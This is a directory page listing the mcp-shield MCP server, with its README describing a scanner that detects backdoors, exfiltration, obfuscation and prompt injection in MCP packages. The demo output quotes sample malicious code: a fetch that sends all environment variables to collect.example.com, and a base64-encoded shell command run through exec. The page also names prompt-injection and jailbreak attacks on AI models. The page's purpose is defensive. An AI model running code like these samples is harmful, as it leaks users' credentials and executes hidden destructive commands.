Featured

Deploy OpenClaw in 60 seconds β€” 20% off logoDeploy OpenClaw in 60 seconds β€” 20% off

Launch OpenClaw on Hostinger in about 60 seconds and keep your agent live 24/7. Our referral link gives you 20% off, no coupon code needed.

Launch on Hostinger β†’
Run your Hermes agent on Hostinger, fully managed logoRun your Hermes agent on Hostinger, fully managed

Launch Hermes on Hostinger in one click, fully managed, no VPS knowledge needed. Use code ZACAARON10 for 10% off.

Launch on Hostinger β†’
Crawl and scrape any site into clean data, 10% off logoCrawl and scrape any site into clean data, 10% off

Firecrawl crawls and scrapes any site into clean markdown for your agent. Get 1,000 free credits, and new users get 10% off their first purchase.

Try Firecrawl free β†’
6,000+ web scrapers for your AI agent, start free logo6,000+ web scrapers for your AI agent, start free

Apify gives your agent live web data: 6,000+ prebuilt scrapers and actors, MCP-ready. Sign up free with $5 in usage credits.

Try Apify free β†’
One API to scrape, enrich, and extract the internet. logoOne API to scrape, enrich, and extract the internet.

Context.dev gives your agents a single API to scrape, enrich, and extract live web data β€” no proxies, no parsers, no maintenance.

Start building free β†’
SetupClaw: done-for-you OpenClaw for founders & exec teams logoSetupClaw: done-for-you OpenClaw for founders & exec teams

White-glove OpenClaw for founders and exec teams (4–50+ employees): we install, harden, integrate your tools, and maintain it β€” secured from day one.

Get it set up for you β†’
SEO data APIs for your agent, $1 free credit logoSEO data APIs for your agent, $1 free credit

DataForSEO gives your agent live access to SERP results, keyword data, backlinks, and on-page SEO data through one API. New accounts get a $1 credit, good for up to 20,000 keyword or backlink lookups.

Try DataForSEO free β†’
Reach 48,000+ AI builders

A flat monthly placement in front of developers actively installing AI tools. No lock-in, cancel anytime.

Advertise here β†’

Works with

Claude CodeClaude DesktopCursorVS CodeClineCodex CLIOpenClaw+ any MCP client

Install to Claude Code

This server doesn't publish a one-line install command. Follow the setup in the source repository.

Summary

mcp-shield MCP server](https://glama.ai/mcp/servers/muhannad-hash/mcp-shield/badges/score.svg)](https://glama.ai/mcp/servers/muhannad-hash/mcp-shield) πŸ“‡ 🏠 🍎 πŸͺŸ 🐧 - Security scanner for MCP servers.

README.md

mcp-shield

A security scanner for MCP servers β€” detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server β€” local or from npm β€” before you trust it with your files, keys, and context.

---

What it detects

| Category | Examples | |----------|---------| | Exfiltration | process.env sent over network, SSH key access, AWS credential reads | | Code execution | eval(), new Function(), child_process.exec(), dynamic require() | | Obfuscation | Base64 runtime decoding, hex-encoded payloads, char-code arrays | | Sensitive file access | .env, id_rsa, browser cookies, ~/.gitconfig | | Prompt injection | Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns | | Supply chain | Package age, download count, maintainer count, CVEs in dependencies |

---

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network β€” possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime β€” decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn β€” shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 β€” RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

---

Tools

| Tool | What it does | |------|-------------| | scan_package | Download an npm MCP package and scan it for malicious patterns | | scan_directory | Scan a local MCP server directory (cloned from GitHub, etc.) | | check_prompt_injection | Check tool descriptions or responses for hidden injections | | audit_supply_chain | Get trust score, CVEs, maintainer count, and age for any npm package |

---

Installation

Option 1 β€” npx (no install)

claude mcp add mcp-shield -- npx mcp-shield

Option 2 β€” global install

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 β€” manual config

Add to ~/.claude/claude_mcp_config.json: ``json { "mcpServers": { "mcp-shield": { "command": "npx", "args": ["mcp-shield"] } } } ``

---

Usage examples

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

---

How it works

Static analysis β€” scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit β€” queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection β€” checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation β€” when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

---

Contributing

PRs welcome. Detection patterns live in src/patterns.ts β€” adding new signatures is a single object.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

---

License

MIT

See related servers & alternatives β†’

Related MCP servers

Browse all β†’

Related guides

Hand-picked reading to help you choose and use Developer Tools servers.